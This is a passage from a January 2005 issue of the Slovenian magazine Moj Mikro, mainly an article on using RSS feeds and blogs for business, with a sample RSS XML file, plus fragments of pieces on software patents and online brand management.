podpisana pod to konkretno pobuda EICTA, čeprav v njej (po dostopnih podatkih) ne sodeluje?

Kako naprej

Za začetek si bo treba stvari najprej razčistiti
kar doma. Novi minister za visoko šolstvo, znanost in tehnologijo dr. Jure Zupan pred pristojnim odborom državnega zbora ni dal vedeti, da
bi poznal problem programskih patentov. Očitno
ni bil pozoren na podobno vprašanje evropskemu
komisarju dr. Janezu Potočniku na zaslišanju v
Evropskem parlamentu. Upajmo, da sta se medtem oba že seznanila s problematiko, in to ne le
enostransko.
Znotraj ministrstva za gospodarstvo naj bi imel
največ besede pri slovenskem stališču do direktive
Urad za intelektualno lastnino, verjetno pa bodo
upoštevali tudi Gospodarsko zbornico Slovenije.
Urad prav tako obljublja, da bo januarja 2005
opravil javni posvet na to temo. Bolje pozno kot
nikoli.
Na žalost pa ni več ministrstva za informacijsko
družbo, kjer so v to področje imeli še najbolj širok
vpogled.
Očitno se zbujajo tudi domača podjetja, a utegne se pojaviti nesoglasje med predstavniki tujih
programskih hiš in podjetji, tesno povezanimi z
njimi, ter samostojnimi proizvajalci programja na
drugi strani.
Z nenadno odločitvijo Poljske se je namreč povečala možnost, da tudi Slovenija spremeni svoje
prejšnje stališče do predloga direktive in s tem
vsebinsko prispeva k razrešitvi problema že znotraj Sveta. Nato pa se bo imelo priložnost izkazati
še naših sedem evropskih parlamentarcev.
Najmanj, kar lahko naredimo vsi drugi, pa je,
da naše predstavnike pozorno opazujemo, komuniciramo z njimi in vztrajamo, da participarna demokracija ne sme biti le puhlica enodnevnica. 
MOJ MIKRO 1 JANUAR 2005

27

KONKRETNO
RSS in blogi v poslovne namene

SPLET PO MERI UPORABNIKA

Protokol RSS in spletni dnevniki � blogi spreminjajo poti, prek katerih lahko podjetja prenašajo vsebino do spletnih uporabnikov.
Piše : Radoš Skr t
rados.skrt@mojmikro.si

R

SS (Really Simple Syndication) je protokol, ki vzpostavlja okolje za objavo in
distribucijo spletnih vsebin v formatu
XML. RSS je primeren za prenos vseh
podatkov, ki jih je mogoče razbiti na dovolj
strukturirane enote, ki ustrezajo standardu RSS,
pa naj gre pri tem za posredovanje informacij o
aktualni ponudbi, za prenos člankov ali pa za
obveščanje o novostih na domači strani. RSS
je, skratka, primeren za uporabo v primerih, ko
želimo dostaviti določeno vsebino do internetnih uporabnikov.
Vsebina in povezave, ki se posredujejo prek
RSS-a, je mogoče prebirati s posebnimi programi ali s programskimi dodatki znotraj brskalnikov, ki uredijo posredovano vsebino v
pregledno in urejeno celoto. Uporabnik RSS-a
ima lahko tako na enem mestu zbrane naslove
številnih novic iz različnih virov.

PO ČEM SE LOČITA E-POŠTA IN RSS

V primerjavi z e-pošto, kjer uporabniki kljub
naročnini le na točno določena obvestila in
novice dobivajo še goro e-pošte, ki je niso naročili, si pri RSS-u uporabnik sam izbere vir informacij in mu pri tem ni treba skrbeti, koliko
sporočil in kdaj bo dobil v poštni nabiralnik.
Pomembna razlika med obema kanaloma za
prenos informacij je tudi ta, da zahteva naročnina na e-novice posredovanje kontaktnih podatkov (najmanj, kar moramo posredovati, je
naš e-naslov), pri RSS-u pa nam tega ni treba
storiti. Če smo se že lotili primerjave e-pošte in
RSS-a, moramo omeniti tudi to, da je odjava s
poštnih seznamov, na katere smo naročeni, velikokrat težavna, medtem ko je za odstranitev
RSS-vira, ki ga ne želimo več prejemati, dovolj
že en klik.
Največja težava e-pošte v očeh uporabnikov
je so vse pogostejše zlorabe posredovanih naslovov oziroma t. i. spam. Ker pri e-pošti nimamo nadzora nad pošiljanjem (čeprav ga bi po
zakonu, ki priznava načelo opt-in oz. upoštevanje privolitve prejemnika, morali imeti), nam
lahko pošiljatelj pošilja tudi vsebine, na katere
se nismo naročili ali pa jih sploh ne želimo prejemati. Osebe in podjetja, ki imajo naše e-naslove, nam pač lahko pošljejo vse, kar želijo, ne
oziraje se na morebitne negativne posledice, ki
jih takšno pošiljanje prinese uporabnikom.
V popolnem internetnem svetu bi v poštne
predale dobivali samo tisto vsebino, ki smo jo
zahtevali ali želeli prejeti in od tistih pošiljateljev, od katerih to želimo. Tak idealen svet je
seveda utopija, ki se kaže v poplavi neželene
pošte, ki vsak dan roma v naše e-poštne nabiralnike. Žal je cena, ki jo moramo plačati, če
želimo uporabljati e-pošto, ta, da smo bolj ali

28

MOJ MIKRO 1 JANUAR 2005

manj prisiljeni sprejemati tudi tisto vsebino, ki
je sploh ne želimo prebirati in ki nas ne zanima. To je pač negativna posledica demokracije,
ki vlada v internetu. Za takšno stanje seveda
ni kriv internet kot medij, temveč uporabniki
sami, saj premalokrat upoštevajo pravila etičnega obnašanja.

KDAJ LAHKO RSS NADOMESTI E-POŠTO

Primerno rešitev omenjenega problema ponuja RSS, ki omogoča prejemanje tiste vsebine
in od tistih pošiljateljev, od katerih to želimo.
Vsebino lahko pregledujemo znotraj brskalnika (če uporabljamo Firefox) ali pa s posebnimi
programi za prebiranje novic. Če nam vsebina
ne ustreza, lahko ponudnika informacij preprosto zbrišemo z našega seznama. Če samo pomislimo, koliko korakov je običajno potrebnih
pri e-pošti, da se odjavimo s seznama prejemni-

Uporabnik RSS-a ima v spletnem
brskalniku ali posebnem programu
na enem mestu zbrane povezave do
številnih novic iz različnih virov, ki si jih
sam izbere.
kov, da niti ne omenjamo možnih zlorab, potem
je tako udoben preklic naročnine, ki ga ponuja
RSS, ena izmed večjih prednosti v primerjavi
z e-pošto. Poleg tega se nam vsebina ne kopiči
v računalniku in nam ne zavzema dragocenega
prostora na disku, saj prejemamo v naš računalnik samo kratke povzetke in povezave do vsebinskih področij, ki nas zanimajo, samo vsebino
pa si preberemo na spletnih straneh ponudnikov informacij.
RSS-ponudnik namreč ne more vsiljevati
vsebine, ki jo ponuja prek svojega vira, niti je
ne more dostaviti do našega računalnika brez
našega privoljenja. Nadzor nad vsebino je namreč popolnoma v naših rokah, saj se sami odločamo, katere vsebine bo bral naš program,
kdaj in kako. RSS deluje tako v celoti po metodi
opt-in, kar pomeni, da posreduje sporočila samo
tistim uporabnikom, ki so se na prejemanje naročili. Tako lahko uporabnik prebira dejansko
samo le tiste vsebine, ki ga res zanimajo, in ne
tako kot pri e-pošti, kjer mu je mnogo sporočil
dobesedno vsiljenih in posredovanih brez njegovega privoljenja (problem spama), poleg tega
pa mu grozijo še številni virusi.

POGLED V PRIHODNOST

Na podlagi izkušenj, ki jih je prinesla uporaba e-pošte, in številnih prijav na e-sezname,
ko še ni bilo težav s spamom, lahko predvidevamo, da se bo nekaj podobnega zgodilo tudi
s prijavami na RSS-vire. Zaradi vse večjega
števila RSS-virov uporabniki težko ločili zrnje

od plev. Prej ali slej se bodo naročili, predvsem
zaradi radovednosti, na takšno število virov, za
katerega bodo kmalu ugotovili, da ga ne morejo
več obvladovati. Seveda bodo uporabniki takoj,
ko bodo ugotovili, da so izgubili preglednost in
se zgubili v gozdu RSS-virov, začeli opravljati
selekcijo med njimi. Prekomerno število virov
pomeni tudi veliko nevarnost za vsakega RSSponudnika, saj se z večanjem celotnega števila
virov posledično zmanjšuje vidnost vsakega posameznega vira. To napoveduje oster boj med
ponudniki vsebin, ki bodo skušali na takšne
in drugačne načine pritegniti pozornost uporabnikov. Uspelo bo samo tistim ponudnikom
RSS-vsebin, ki jim bo s svojo strokovnostjo in
verodostojnostjo ter kakovostjo posredovanih
informacij uspelo prepričati dovolj širok krog
uporabnikov.
Ker se po spletnih straneh že vodijo številne
razprave o tem ali lahko RSS nadomesti e-pošto, naj takoj razčistimo to dilemo. RSS nikakor
ne bo zamenjal e-pošte, saj je bistvo e-pošte v
dvosmernem komuniciranju, poglavitna naloga
RSS-a pa je enosmerna distribucija podatkov.
E-pošta bo kljub problemu spama še nekaj časa
ostala nepogrešljivo sredstvo komuniciranja.
Dejstvo pa je, da lahko RSS v bližnji prihodnosti znatno spremeni način dostave in dostop do
želenih vsebin. Pričakovati je, da bo RSS v določeni meri spremenil način uporabe interneta. Porazdelila se bodo namreč opravila, ki jih
opravljamo z internetnimi aplikacijami (www,
e-pošta, RSS). Pričakovati je vse manj prijav
na e-sezname, nikakor pa ne tega, da ljudje ne
bodo več posredovali svojih podatkov v zameno
za posredovanje določenih vsebin. Način dostave in pregledovanja vsebin se bo porazdelil
znotraj omenjenih aplikacij. Večina korespondence bo še vedno slonela na uporabi e-pošte.
Prednost pri dostavi vsebine prek RSS-kanala
bodo vsekakor imeli tisti ponudniki, ki jih bo
uporabnik prej zaznal na trgu in v katerih bo
seveda prepoznal kakovost ponujene vsebine.
Trenutno največja slabost RSS-a je slaba razširjenost njegove uporabe. Po eni strani to tudi
ni čudno, saj se je o RSS-u začelo intenzivneje
govoriti šele letos. Ali bodo uporabniki sprejeli
RSS kot osnovno orodje za prebiranje vsebin,
ki jih zanimajo, še ne moremo zagotovo vedeti.
Dejstvo je, da se število uporabnikov hitro veča,
predvsem zaradi vse večjega števila nenaročene
pošte in virusov, ki se prenašajo z e-pošto. Dokončno uveljavitev lahko pričakujemo, ko bo
stopnja penetracije dosegla kritično maso in ko
bodo podjetja začela veliko intenzivneje izkoriščati RSS za posredovanje vsebin do ciljnih
javnosti.
Ena izmed poglavitnih pomanjkljivost RSSkanala je tudi ta, da zahteva od uporabnikov
(razen pri Mozillinem brskalniku) namestitev
posebne programske opreme. To pa je že te-

KONKRETNO
RSS in blogi v poslovne namene
žava za dobršen del spletne populacije. Dokler
RSS ne bo postal standardna aplikacija tudi v
brskalniku Internet Explorer, verjetno ne moremo pričakovati njegove večje uporabe. Ta bo
omejena na določene ozke segmente naprednih
internetnih uporabnikov.

katerega se lahko uporabniki naročijo. Če ponuja vsebino iz različnih interesnih področij, je
smiselno, da jo razdeli na različne kanale. Tako
je lahko npr. en kanal namenjen predstavitvi
izdelkov iz aktualne ponudbe, drugi posredovanju člankov itd. Pa raje pojdimo lepo po vrsti
oziroma po korakih, ki jih moramo opraviti, če
KAKO IZDELAMO RSS-VIR
želimo vzpostaviti RSS-vir:
Ustvarjanje RSS-vira in objava vsebin sta
1. Najprej moramo izdelati RSS-datoteko v
zelo preprosta. Ponudnik vsebine mora na svojo
formatu XML (glej okvir), ki bo vključevala
spletno stran namestiti RSS-vir (RSS feed), na
naslove novic, njihove povzetke in povezave do
celotne vsebine novice, ki jo bomo
objavili na spletni strani.
2. Na spletno stran moramo namePrvi del RSS-vira vključuje informacije, ki so postiti povezavo do našega RSS-vira. V
membnejše za računalnik kot pa za bralca (različica
ta namen lahko uporabimo naslednjo
XML, različica RSS).
ikono
3. Priporočljivo je, da vpišemo naš
<?xml version=”1.0” encoding=”ISO-8859-1” ?>
RSS-vir v številne RSS-imenike.
<rss version=”0.91”>
4. Verjetno boste kmalu ugotovili,
da imate več težav z izobraževanjem
Naslednji del, ki se začne z oznako <channel> vsebuje osnovsvojih obiskovalcev o tem, kaj sploh
ne predstavitvene informacije o viru (naslov strani, povezava do
je RSS in kako se prijaviti na RSSstrani, e-naslov skrbnika RSS-vira, datum zadnje spremembe ipd.).
vir, kot pa s samim ustvarjanjem
RSS-vira.
<channel>
<title>Naslov spletne strani</title>
KAKO SE NAROČIMO NA RSS -VIR ...
<link>http://www.vasa_spletna_stran.com/</link>
Spletne strani, ki posredujejo in<description>Kratek opis vaše spletne strani</description>
formacije prek RSS-kanala, to tudi
<webmaster>urednik vsebine na vaši strani</webmaster>
jasno označijo − najpogosteje z iko<language>en-us</language>
no, na kateri piše »XML« ali »RSS«
(
). Za iskanje RSS-virov
Sledi osrednji del, v katerem opredelimo celotno vsebino, ki jo
lahko uporabite RSS-imenike, kjer
bomo posredovali prek RSS-kanala. Med oznakami <item> opreso viri razvrščeni v različne kategodelimo naslov in povzetek vsakega posameznega članka, avtorja
rije (zabava, politika, gospodarstvo
članka, datum objave ipd.
itd). Eden izmed največjih tovrstnih
imenikov je Syndic8.com (www.syn<item>
dic8.com), kjer lahko iščete vire po
<title>Naslov novice 1</title>
kategorijah ali prek ključnih besed.
<link>http://www. vasa_spletna_stran.com/povezava_do_noviDodajanje novega vira je enostavno,
ce1.html</link>
saj morate imeniku posredovati le
<author>ime avtorja</author>
URL-naslov do vaše datoteke XML.
<date>datum objave</date>
<description>kratek opis novice 1</description>
... IN KAKO GA PREBIRAMO
</item>
Če prebiramo RSS-vire s programskim dodatkom Sage, ki deluje zno<item>
traj brskalnika Firefox, izberemo v
<title> Naslov novice 2</title>
orodni vrstici Tools/Sage in počaka<link> http://www. vasa_spletna_stran.com/povezava_do_novimo, da se nam v levem delu zaslona
ce2.html </link>
odpre okno, ki je namenjeno pregle<author> ime avtorja </author>
dovanju RSS-virov. S klikom na po<data> datum objave </data>
samezen vir se nam na levi strani pod
<description> kratek opis novice 2</description>
seznamom virov odprejo posamezne
</item>
novice izbranega vira, v osrednjem
....
delu zaslona pa naslovi in povzetki
Po vnosu vseh novic, moramo na koncu zapreti še
novic. Klik na izbrano novico nas
vse odprte oznake (</channel>,</rss>) in posneti popripelje na spletno stran,
datke kot datoteko XML. Tako smo ustvarili veljaven
kjer si lahko novico v celoRSS-vir, ki ga moramo namestiti še v strežnik, na našo
ti preberemo.
spletno stran pa dodati povezavo do vira ter v glavo
dokumenta HTML (med oznaki <head> in </head>)
umestiti še naslednji ukaz: <link rel=”alternate” type=”application/rss+xml” title=”//naslov_spletne_strani” href=”http://www.vasa_spletna_stran.com/povezava_do_RSS_vira.xml” />
Preprosto, mar ne?

Če želimo dodati nov vir, moramo klikniti na
ikono, ki ponazarja povečevalno steklo (Discover Feeds). Odprlo se nam bo okno z izpisanimi
viri, na katere se lahko naročimo. Zdaj moramo
označiti želeni vir in klikniti na Add Feed.

Izdelava datoteke RSS

Dodajanje RSS-vira
V brskalniku Interner Explorer lahko uporabite dodatek Pluck (www.pluck.com), ki poleg branja RSS-vsebin omogoča še napredno
iskanje po Googlu, izpopolnjeno upravljanje
s priljubljenimi povezavami in nekaj drugih
funkcionalnosti. Seveda pa lahko za prebiranje
RSS-vsebin uporabljate posebej v ta namen
narejene programe, kot so npr. NewsMonster
(www.newsmonster.org), Awasu (www.awasu.
com), FeedReader (www.feedreader.com), FeedDemon (www.bradsoft.com), itd.

KAJ JE BLOG

Z besedo blog, ki je skovanka iz besed Web
log, označujemo spletno stran, ki je namenjena
objavljanju dnevniških zapisov posameznikov,
zaradi česar blogi običajno izražajo osebna stališča avtorjev. Blogi pa ne delujejo zgolj enosmerno, saj običajno omogočajo bralcem, da podajo
svoje komentarje na objavljen prispevke, ki jih
nato lastniki dnevniških strani tudi objavijo.
Z ustrezno programsko opremo je vodenje
bloga preprosto opravilo, ki ne zahteva znanje
programskega jezika. Bloge lahko prek spletnega vmesnika piše kdorkoli, kadarkoli in od
kjerkoli. Eno najbolj poznanih spletnih strani,
ki omogočajo ustvarjanje in objavo blogov, najdemo na naslovu www.blogger.com. Čeprav
lahko objavimo vse, kar nam srce poželi, je
vprašanje, ali bo kdo objavljeno vsebino sploh
prebral. V poplavi blogov je vsekakor treba najprej opozoriti nase in pritegniti uporabnike na
spletno stran, kjer je blog objavljen. Če pišejo
bloge znane osebe, ki uživajo ugled v širši javnosti ali pa samo znotraj določenih interesnih
skupin, se za njihov obisk ni treba bati. Tako
lahko v spletu zasledimo številne dobro obiskane bloge, ki jih pišejo igralci, umetniki, po-

Pregledovanje RSS-vira
MOJ MIKRO 1 JANUAR 2005

29

KONKRETNO
RSS in blogi v poslovne namene
litiki, športniki, marketinški strokovnjaki ipd.
Na bloge lahko gledamo tudi z druge strani,
in sicer z vidika bralca. Najti zanimiv blog, ki
bo pritegnil našo pozornost, je v morju števlnih
blogov silno težko. Večina se jih namreč ukvarja
z nebulozami in stvarmi, ki ne zanimajo nikogar.
Ker so nekateri najbolj poznani iskalniki zaradi
številnih zlorab, ki so bile povezane z uvrščanjem
spletnih strani, prenehali indeksirati bloge, si
lahko pri njihovem iskanju pomagamo z imeniki
in iskalniki, ki iščejo vsebino samo po blogih.

Iskalniki po blogih
ime iskalnika
Blog Search Engine
Daypop
Blog Catalog
Feedster
Blogz
Blogwise

url naslov
www.blogsearchengine.com
www.daypop.com
www.blogcatalog.com
www.feedster.com
www.bloogz.com
www.blogwise.com

BLOGOSFERA V ŠTEVILKAH

Število uporabnikov blogov se po podatkih
podjetja Technorati (www.technorati.com)
podvoji na vsakih pet mesecev. To se odraža
tudi v precejšnji rasti števila objavljenih blogov, ki bi se naj od lanskega junija, ko so jih našteli 500.000, povečali že za osemkrat. Poročilo
podjetja Pew Internet & American Life (www.
pewinternet.org) pravi, naj bi se na vsakih 5,8
bloga ustvaril nov blog, kar pomeni 15.000 novorojenih blogov dnevno. Dnevno bi naj skrbniki blogov (90 % jih naj bi bilo starih od 13 do
29 let) objavili okoli 250.000 novih sporočil.

Demografija blogov
Starost
10�12
13�19
20�29
30�39
40�49
50�59
60�69
Skupaj

Število ustvarjenih blogov
55.500
2.120.000
1.630.000
241.000
41.700
18.500
13.900
4.120.000

Delež v %
1,3 %
51,5 %
39,6 %
5,8 %
1,0 %
0,4 %
0,3 %
100 %

vir: Perseus Development Corp.

Hitra rast števila blogov

30

MOJ MIKRO 1 JANUAR 2005

V primerjavi z e-pošto omogoča RSS
prejemanje samo želene vsebine in od
izbranih pošiljateljev.
Če vzamemo podatke o hitri rasti števila blogov pod drobnogled, kaj kmalu ugotovimo, da
ni vse tako rožnato, kot se zdi na prvi pogled.
Največja slabost številnih blogov je namreč ta,
da se jih velika večina sploh ne osvežuje, kar
pomeni, da se pisci ne ukvarjajo več z njimi ali
pa so objavljene informacije že zelo zastarele.
Ker je bilo veliko blogov narejenih v valu navdušenja ali kot testni projekti pri preučevanju
nove tehnologije, so njihovi lastniki preprosto
pozabili nanje. Takšne bloge lahko označimo za
mrtve, čeprav jih številna raziskovalna podjetja
še upoštevajo v svojih statistikah. Problem velika števila blogov se kaže seveda tudi v njihovi
branosti. Le redkim blogom je namreč uspelo
pritegniti širši krog bralcev. Na svetu bi naj bilo
samo 200 blogov, ki beležijo mesečno več kot
1 milijon prikazov strani, 20 blogov pa bi naj
mesečno zabeležilo več kot 10 milijonov prikazov. Za lažjo primerjavo naj povemo, da je naša
najbolj obiskana stran Najdi.si oktobra beležila
55 milijonov prikazov.

NASVETI ZA PISANJE BLOGOV

Če želimo pritegniti k branju svojega bloga
širši krog uporabnikov, moramo bloge redno
objavljati, kar pa seveda zahteva kar precej
časa. Navsezadnje gre za dnevniške zapise, ki bi
jih bilo treba praviloma pisati vsak dan ali vsaj
nekajkrat na teden. Pri pisanju blogov se moramo držati pravila, da je boljše, če ne napišemo
nič novega, kot pa da bi pisali kar tja v en dan.
Bralci bodo vedno ocenjevali vsebino z vidika
njene zabavnosti, relevantnosti ali pa zgolj uporabnosti v praksi. Če boste mlatili prazno slamo
in govoričili tja v en dan, vas bodo bralci hitro
spregledali in vaš dnevnik za vedno zapustili.
Poleg podajanja primerne vsebine je pomemben tudi sam način pisanja. Pisci se morajo potruditi tako s slogom pisanja kot tudi slovnično
pravilnostjo objavljenih besedil. V podjetjih, ki
se odločijo za objavo
blogov, je treba med
zaposlenimi skrbno
izbrati
primernega
pisca. Izbira je pomembna predvsem
zaradi tega, ker bodo
pisci, četudi bodo
podajali osebna razmišljanja, v bistvu
glasniki podjetja v
internetu, ki bodo
odražali tudi kulturo
podjetja, v katerem
so zaposleni. Si predstavljate, kakšno škodo lahko naredi podjetju pisec, katerega
pisanje se ne sklada
s poslovno politiko
podjetja, ali pa pisec,

ki podaja mnenja, ki pri širši javnosti izzovejo
negativna občutja?
Ne glede na to, ali bom pisali bloge v zasebne
ali poslovne namene, je koristno, če upoštevamo naslednje nasvete:
1. Objavljena vsebina mora biti ažurna, aktualna, relevantna in verodostojna. Osredotočite
se na podajanje aktualnih informacij s področja, na katerem delujete. Podajajte takšno vsebino, za katero menite, da bo zanimiva vašemu
ciljnemu občinstvu.
2. Oblikovno naj vaši zapisi delujejo preprosto, brez odvečne grafike in uporabe večjega števila različnih pisav in barv. Bolj kot na obliko
se osredotočite na besedilo. Ljudje bodo obiskovali vaš dnevnik zaradi vsebine in ne zaradi
vaših kreativnih oblikovalskih rešitev.
3. Če pišete o različnih stvareh, je priporočljivo, da vsebino razdelite v več kategorij. Vzdržujte tudi arhiv vseh objav.
4. Bodite vztrajni. Krog vaših bralcev se bo
verjetno večal zelo počasi. Boljšo vsebino, kot
boste objavljali, večja je možnost, da se bo vaš
krog bralcev hitro povečeval.
5. Izmenjujte povezave s pisci blogov. Na
svoji strani objavite povezave do sorodnih ali
pa kako drugače zanimivih blogov.
6. Nič ne bo narobe, če boste bloge začinili s
kančkom humorja. Vaši zapisi naj ne bodo sterilni in suhoparni.
7. Bralcem omogočite povratne informacije
oz. komentarje. Spodbujajte jih k razpravi. Več
odzivov kot boste dobili, večja bo potrditev, da
delate dobro, da so vaši blogi obiskani in da pritegnejo pozornost bralcev.

POVEZOVANJE BLOGOV IN RSS-VIROV
V TRŽENJSKEM SPLETU

Uporaba RSS-vira za posredovanje informacij je še zlasti primerna za vse informacijsko naravnane spletne strani in za vse tiste strani, ki
v pogostih časovnih intervalih osvežujejo svojo
vsebino. Uporaba RSS-vira nikakor ne pomeni, da morate na stranski tir postaviti e-pošto.
Smisel uporabe različnih orodij je v njihovem
povezovanju in doseganju sinergijskih učinkov.
Tako je npr. zelo koristno, če prejemnike svojih
poštnih sporočil povabite na prebiranje svojega
bloga, v blogu pa jih povabite, da se naročijo na
vaše e-novice in jih npr. prek RSS-a obvestite o
vseh teh stvareh.
Bistvo pisanja blogov v poslovne namene
je poleg gradnje pozitivne podobe podjetja
v javnosti in bolj ali manj prikrite promocije
tudi v vzpostavljanju dolgoročnih odnosov s
strankami. Podjetje lahko s pomočjo blogov
izrabi še dve pomembni prednosti blogov: uporabi jih lahko kot učinkovito orodje »virusnega
marketinga« ali kot enega izmed temeljev pri
gradnji virtualne skupnosti, ki združuje ljudi
podobnih interesov. Potencial blogov leži predvsem v tem, da se lahko širši ali pa zgolj samo
ciljni javnosti predstavimo enostavno, izvirno
in prezplačno, in sicer kot relevanten, strokoven in uporaben vir informacij. Le tako lahko
namreč sploh pridobivamo bralce, pritegnemo
njihovo zanimanje, pozornost in zaupanje ter

KONKRETNO

Kontekstualni oglas
gradimo dolgoročne odnose z njimi. Čas in
trud, ki ga bomo namenili pisanju blogov, se
nam lahko čez čas bogato obrestuje, saj si lahko
podjetje z objavljanjem prispevkov učinkovito
način gradi verodostojnost in ugled v javnosti,
poleg tega pa lahko bralce, ki so bili na začetku
samo potencialne stranke, pretvori v zveste in
redne kupce.
Pisci blogov si lahko pri ustvarjanju prometa
na spletnih straneh tudi medsebojno pomagajo, in sicer tako, da objavljajo povezave do
sorodnih ali drugače zanimivih blogov. Na podlagi vzajemnih povezav drug drugemu delajo
brezplačno reklamo s čimer povečajo tudi pritok obiskovalcev na spletne strani, kjer je blog
objavljen. Nikakor ne gre prezreti dejstva, da
lahko piscu blogov delajo brezplačno reklamo
tudi sami internetni uporabniki s tem, ko na
svojih straneh objavijo povezavo do bloga ali
pa spletno stran bloga prek e-pošte priporočajo
svojim znancem in prijateljem. Tovrstni način
promocije, ki je značilen za virusni marketing,
se lahko ob učinkoviti izvedbi odraža v povečanem obisku spletne strani, ki objavlja blog, in s
tem v večji možnosti za sklenitev novih poslov.
Nevarnost množične uporabe RSS-a je izguba njegove »nedolžnosti«, saj bo postal zanimiv
številnim oglaševalcem, ki bodo začeli v vsebino, ki jo podjetja dostavljajo prek RSS-kanala,
vključevati oglasna sporočila. Najbolj obiskani
blogi so seveda že sedaj zanimivi oglaševalcem.
Za razliko od oglaševanja v RSS-virih, ki je še v
povojih in tudi ne bo ponujalo veliko manevrskega prostora, pa imajo oglaševalci na spletnih
straneh blogov na voljo skorajda celoten oglaševalski arzenal. Oglaševalskemu onesnaževanju besedil se verjetno ne bo dalo izogniti, še
zlasti če pomislimo, da se je na trgu pred kratkim pojavila nova oblika spletnega oglaševanja
– kontekstualni oglasi, ki se zdijo še posebej primerni za uporabo v besedilih posredovanih prek
RSS-kanala in v blogih.

KONTEKSTUALNI OGLASI

Pri tej novi vrsti spletnega oglaševanja gre za
oglas, ki se pojavlja kot kombinacija besedilne
povezave in lebdečega oglasa, in sicer v besedilih spletnih medijev na podlagi poprej izbranih ključnih besed. Naročnik izbere določene
ključne besede, ki se na spletnih straneh, kjer je
zakupljen kontekstualni oglas, obarvajo in podčrtajo, seveda če so v vsebini sploh prisotne. Ko

se uporabnik dotakne besede s kazalcem miške,
se nad besedo prikaže oglas s povezavo do oglaševalčeve spletne strani.
Pri Httpoolu, ki je trenutno edini ponudnik
kontekstualnih oglasov, je cena zakupa tovrstnega oglasa sestavljena iz cene na prikaz (10

RSS bo v bližnji prihodnosti znatno
spremeni način dostave in dostop do
želenih vsebin in s tem do neke mere
tudi uporabo interneta.
SIT) in cene na klik (90 SIT). Grega Stritar,
vodja razvoja pri Httpoolu pravi, da je kontekstualni oglas zanimiv tako za oglaševalce kot za
medije. »Za medije je zanimiv zato, ker se ne
prekriva z drugimi oglasnimi pozicijami in tako
mediju poveča možnost prihodka iz oglaševanja.
Za oglaševalce pa je zanimiv predvsem zaradi
tega, ker je odslej mogoče tudi na portalih in
spletnih straneh, ne samo iskalnikih, prikazovati »ciljane« oglase – oglase, ki se prikazujejo v
odvisnosti od uporabnikovega deskanja.«

PONUDNIKOM V PREMISLEK

Ponudniki vsebin bodo morali temeljito premisliti, ali se jim splača objavljati oglase v vsebinah, ki jih posredujejo. Zavedati se morajo
namreč, da so uporabniki že počasi siti vseh vrst
reklam, ki jih srečujejo v internetu, in da si želijo vsaj malo miru, ki jim ga RSS v osnovi omogoča. Nikar ne gre spregledati dejstva, da lahko
uporabnik ponudnika RSS-vira vsak trenutek
izklopi, če se mu to zdi potrebno.
Ker ponudniki vsebin ne morejo dostavljati
svojih vsebin tistim uporabnikom, ki njihovega
vira nimajo v zaznamkih združevalcev RSS-vsebin, obstaja verjetnost, da bodo RSS-združevalci začeli na različne načine sami potiskati
vsebino do uporabnikov in na veliko oglaševati posamezne ponudnike, kar lahko spreobrne
vlečni (pull) kanal v popolnoma nasprotno
smer – v potisni (push) kanal, ki bo vsiljeval
vsebino uporabnikom. Karkoli se bo že zgodilo,
bodo imeli na srečo zadnjo besedo uporabniki,
ki bodo sami odločali o tem, kaj bodo prebirali
in od katerih virov.


MOJ MIKRO 1 JANUAR 2005

31

KONKRETNO
upravljanje tržne znamke v spletu

RAZBIJTE SVOJE SPLETNO MESTO!

Pojdimo še dalje in Coca-Colin test izvedimo
na spletni strani. Predstavljajte si, da z vsake
spletne strani svojega spletnega mesta odstranite logotip in omembo vašega imena, nato pa
prosite obiskovalca, naj spletno mesto uporablja. Ali bo še ostal prepoznaven »vonj« po vaši
znamki? Elementi spletnega mesta, ki je ustvarjeno v duhu povezanega komuniciranja, bi morali vsak zase, pa čeprav v izolaciji, označevati
vašo znamko. Le tako lahko skupaj zasijejo.

storitve neposredno povezujejo z občutkom čakanja v dolgih vrstah v pravi
banki. Povedano drugače:
uporabniki spletne storitve te nimajo za nekaj ločenega od podjetja, pač pa jo
doživljajo kot neposreden
odraz človeškega odnosa
in odzivnosti.
Po uporabniške težave
pa ni treba iti v Avstralijo,
kar lepe zglede najdemo
tudi v Sloveniji. Zaradi začasnega nedelovanja spletne poslovalnice NLB so
mnogi to banko zapustili.
Šli so v banko in se mnogi
prav grobo znesli nad nič
krivimi bančnimi uslužbenci ter zahtevali svoj
denar. Lep dokaz, da potrošnika razmišljajo(mo) celostno!
Zapomljivost in pozitivna potrošnikova izkušnja se gradita iz posameznih elementov, tudi iz
vsakega elektronskega sporočila, ki ga pošljete.
Tudi vsako sporočilo, ki ga pošljete z zamudo ali
pa ga ne pošljete, govori o vaši odzivnosti. Vaša
hitrost odgovora, izbira besed, ton in zgradba
besedila: ker vse to sporoča, vzemite svoje e-komuniciranje prav tako resno kot produkcijo brošure ali oglasa. Zavedajte se, da vam lahko slabo
besedilo e-sporočilu na nekaj tisoč elektronskih
naslovov bolj škodi kot vaš najslabši oglas.

VSAK DELEC USTVARJA IZKUŠNJO

INTERNET KOT DEL POVEZANEGA TRŽNEGA

Pred sedemdesetimi leti je podjetje CocaCola svojim oblikovalcem naložilo prav
posebno nalogo: oblikujte steklenico, ki
bo, tudi če bo poškodovana ali razbita
na koščke, prepoznavna med tisočimi
drugimi delci stekla ...

Piše : Mitja Mavsar
mitja.mavsar@mojmikro.si

O

čitno so pri Coca-Coli svoje delo opravili z odliko, saj posebno obliko te steklenice še danes vsi v trenutku spoznamo, četudi ne vidimo logotipa, temveč
le delec steklenice. Nam to kaj pove tudi pri
oblikovanju spletnih strani?

RAZBIJTE SVOJO TRŽNO ZNAMKO!

Pa se poigrajmo s tem zgledom upravljanja
tržne znamke in ga prenesimo na podjetje ali
izdelek. Kaj se zgodi, če svojo znamko razbijemo in s svojih stavb, izdelkov, vozil, uniform
in drugih elementov odstranimo svoj logotip.
Ali ljudje še vedno lahko prepoznajo preostale
elemente kot del naše tržne znamke? V večini
primerov temu ni tako.

Vloga tržne znamke
Tržna znamka so vse asociacije in čustva,
ki jih ljudje povezujejo z določenim podjetjem, izdelkom ali osebo. Rečemo lahko,
da znamka ni v lasti podjetja, pač pa leži
v uporabnikih in njihovem subjektivnem
dojemanju sveta. Beseda znamka se pogosto uporablja v kvalitativnem ocenjevanju
(Nike je dobra znamka), bistvo znamke pa
leži v vsakem subjektivnem tolmačenju, v
posameznikovem razumevanju, ki ga določajo:
- kulturni kontekst,
- posameznikova srečanja z znamko,
- način, kako posameznik dojema svet.
Bolj ko je podjetje ali izdelek v skladu s
uporabnikovimi potrebami in željami, verjetneje bo podjetje zgradilo in ohranilo pozitivno podobo v uporabnikovih glavah.
